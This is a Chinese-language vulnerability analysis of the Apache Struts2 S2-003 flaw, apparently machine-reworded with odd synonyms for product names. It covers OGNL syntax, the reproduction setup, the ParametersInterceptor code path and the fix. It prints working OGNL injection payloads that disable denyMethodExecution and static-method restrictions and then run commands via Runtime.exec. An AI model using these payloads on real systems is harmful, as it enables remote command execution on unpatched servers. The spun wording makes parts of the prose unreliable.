个中 params 拦截器也即是 com.opensymphony.xwork2.interceptor.ParametersInterceptor ,他卖力获取到提交的参数值,并将要求传输的参数赋值到对应的栈中。
#二、漏洞概述
S2-003 漏洞就涌如今 com.opensymphony.xwork2.interceptor.ParametersInterceptor 拦截器处理时, doIntercept 方法对提交的参数对值栈中的数据进行赋值,同时进行解析,此时过滤不严导致可以通过 ognl 表达式操作值栈中 map/context 栈 的工具来实行方法,进而导致命令实行。
首先我们可以先看看 ognl 取出 context/map 栈中的工具的属性的语法:
● #object.属性名称
● #object[“属性名称”]
● #object[“属性名称”]
ognl 取出 root 栈中工具的属性的语法为(从栈顶往下找同名的属性值):
● 属性名称
● [“属性名称”]
● [“属性名称”]
如果在 root 栈中想找详细第几个工具的属性:
● [索引].属性名称
● [索引].[“属性名称”]
● [索引].[“属性名称”]
● 举个栗子:[0].username 找自栈顶起第一个工具的 username 属性。
通过 ognl 表达式来调用工具的属性 / 方法:
● 获取静态属性值:@全类名@静态属性名
● 调用静态方法:@全类名@静态方法(参数列表)
● 调用栈顶工具非静态方法:方法名(参数列表)
官方链接:
https://cwiki.apache.org/confluence/display/WW/S2-00
影响版本:
支柱 2.0.0 - 支柱 2.1.8.1
#三、漏洞复现环境:
阿帕奇-雄猫-9.0.37 、 jdk1.8.0_261 、 支柱 2.0.11
tomcat7 及往后的版本会严格按照 RFC 3986 规范进行访问解析,而 RFC 3986 规范定义了 Url 中只许可包含英笔墨母 a-zA-Z 、数字 0-9 、 -_.~ 4 个分外字符以及所有保留字符( RFC 3986 中指定了以下字符为保留字符:!
' ( ) ;: @ & = + $ , / ?# [ ])
即 tomcat7 后的版本在 payload 中利用 [、]、(、) 需进行 url 编码。
由于漏洞影响版本 Struts 2.0.0 - Struts 2.1.8.1 ,以是实在可以沿用上个漏洞环境。乃至可以更简化,根据官方给的 payload :('\u0023'%20%2b%20'session'user'')(unused)=0wn3d。Action 返回到 index.jsp 回显 session.user 即可。想换个版本的话就把相应的 jar 包都更换掉。
LoginAction.java :( error 返回到 index.jsp )
index.jsp:(取出 session.user )
实行 payload :
官方给的没有实行成功,233 为什么,格式的问题吗?我没有弄明白。然后考试测验自己改了一下,成功了。
payload :http://localhost:8080/login.action?%28%27\u0023session%5b%27user%27%5d%27%29%28unused%29=teesst
解码即为:('\u0023session['user']')(unused)=teesst
payload :http://localhost:8080/login.action?%28%27\u0023session%2euser%27%29%28unused%29=teesst
解码即为:('\u0023session.user')(unused)=teesst
测试创造去掉后面的 (unused) 也可。\u0023 为 # 号。他的格式问题我没弄明白,【网上说有两种格式,一种 (表达式)(常量)=value ,另一种 (表达式)(常量)(常量) 】。意思该当是明白的:取出 session 工具,将其的 user 赋值为 teesst 。
繁芜一点的 payload :
('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec('calc')')(bla)(bla) 【这里没有 url 编码是由于我悄咪咪换了个低版本的 tomcat 】
payload 解读:首先将 denyMethodExecution 设置为 false ,然后实行打算器的命令。为什么最开始要将 denyMethodExecution 设置为 false ,可以看看剖析。
#四、剖析
我们先根据官网给的 payload 来看,带参数 ('\u0023session['user']')(unused)=teesst 要求 login.action ,根据 struts.xml 中的配置,会路由到 LoginAction 的 login 方法。进入方法前前辈拦截器,在 ParameterInterceptor 中获取参数,并将属性值存入 ValueStack 值栈中。
那我们从进入 com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept 方法开始看。
在 88 行进行了参数赋值,我们跟进去。
在 123 行中进入了 acceptableName(name) 进行判断。这里是个过滤条件。
这里判断了 name 中是否包含了 =,#: 字符以及 pojo 字符串,正因如此 payload 中对 # 号进行了 Unicode 编码。接着前面的进入到 129 行的 setValue 方法中。
跟进到 OgnlUtil#setValue 方法【这个调用链是不是有点熟习,和 S2-001 的是不是差不多,只不是 S2-001 是 findValue 】
连续跟进,在 compile 方法中对表达式进行理解码。(实在是跟进 parseExpression 方法更深的地方对 Unicode 编码进行理解码 )
进而将其转化为语法树,终极在 ognl.ASTEval#setValueBody 中对 map 栈中 session 域工具中的 user 赋值。
我们赋值完参数进入 action 逻辑处理,返回 error ,对应页面 index.jsp ,取出 session 中的 user 显示:
接下来我们来看繁芜一点的 payload 实行打算器的命令:
('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec('calc')')(bla)(bla)
是不是实在也是一样的,但是由于设置不许可方法实行,故此时通过 context 将参数值 xwork.MethodAccessor.denyMethodExecution 设为 false 才能实行方法。
在高版本中,如 struts2.1.8.1 中增加了 excludeParams 加了以 struts 开头的参数不进行解析,以及匹配的模式 [[\p{Graph}\s]&&[^,#:=]] (仅除了 ,#:= 之外的可见字符才会进行解析)。
且默认禁止了静态方法的实行:
是不是仍旧是治标不治本,我仍旧可以通过 ognl 表达式将其参数打开。
看 payload :
/login.action?('\u0023_memberAccess['allowStaticMethodAccess']')(bla)=true&('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec('calc')')(bla)(bla)
这里须要把稳的是我们通过 _memberAccess 可以获取到 SecurityMemberAccess 的实例,从而对个中的 allowStaticMethodAccess 进行赋值。
#五、修复在 acceptableName 判断时完善了过滤正则。